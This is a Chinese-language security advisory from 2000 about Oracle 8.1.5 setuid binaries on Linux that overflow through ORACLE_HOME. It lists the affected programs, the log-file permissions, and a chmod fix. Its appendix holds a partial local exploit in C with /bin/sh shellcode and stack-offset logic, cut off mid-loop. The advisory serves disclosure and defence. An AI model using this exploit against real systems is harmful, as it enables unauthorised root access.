【發(fā)布日期】
2000-10-23
【來源】
BUGTRAQ@SECURITYFOCUS.COM,2000-10-21
【影響的系統(tǒng)】
LINUX,測試于RedHat Linux 6.2。
【詳細(xì)描述】
在Oracle中有兩個安全漏洞。
1、緩沖區(qū)溢出
有可能用"ORACLE_HOME",Oracle的一個環(huán)境變量,創(chuàng)建一個緩沖區(qū)溢出漏洞。
容易受緩沖區(qū)溢出影響的Oracle應(yīng)用程序如下:
- names
- namesctl
- onrsd
- osslogin
- tnslsnr
- tnsping
- trcasst
- trcroute
這些應(yīng)用程序允許攻擊者執(zhí)行緩沖區(qū)溢出攻擊。
2、創(chuàng)建的日志文件
當(dāng)用戶執(zhí)行一個Oracle應(yīng)用程序,如names,oracle或tnslsnr時,就會創(chuàng)建下面
的日志文件:
names
======
-rw-rw-r-- 1 oracle dba 0 Oct 20 01:45 ckpcch.ora
-rw-rw-r-- 1 oracle dba 428 Oct 20 01:45 ckpreg.ora
-rw-rw-r-- 1 oracle dba 950 Oct 20 01:45 names.log
oracle
======
-rw-rw---- 1 oracle dba 616 Oct 20 05:14 ora_[running pid].trc
tnslsnr
=======
-rw-rw-r-- 1 oracle dba 2182176 Oct 20 2000 listener.log
【解決方法】
聯(lián)系產(chǎn)商索取補丁,或者關(guān)閉setuid許可權(quán)。
# su - oracle
$ cd /oracle_8.1.5_install_directory/bin
$ chmod a-s names namesctl onrsd osslogin tnslsnr tnsping trcasst
trcroute
【附錄-驗證程序】
#include
#include
#define BUFFER 800
#define NOP 0x90
#define PATH "/hackerslab/loveyou/oracle/8.1.5/bin/names"
char shellcode[] =
"\xeb\x1d"
"\x5e"
"\x29\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\x89\x76\x08"
"\xb0\x0b"
"\x87\xf3"
"\x8d\x4b\x08"
"\x8d\x53\x0c"
"\xcd\x80"
"\x29\xc0"
"\x40"
"\xcd\x80"
"\xe8\xde\xff\xff\xff"
"/bin/sh";
unsigned long getesp(void)
{
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr,binary[120];
long *addr_ptr, addr;
int bsize=BUFFER;
int i,offset;
offset = 0 ;
if ( argc > 1 ) offset = atoi(argv[1]);
buff = malloc(bsize);
addr = getesp() - 5933 - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i
|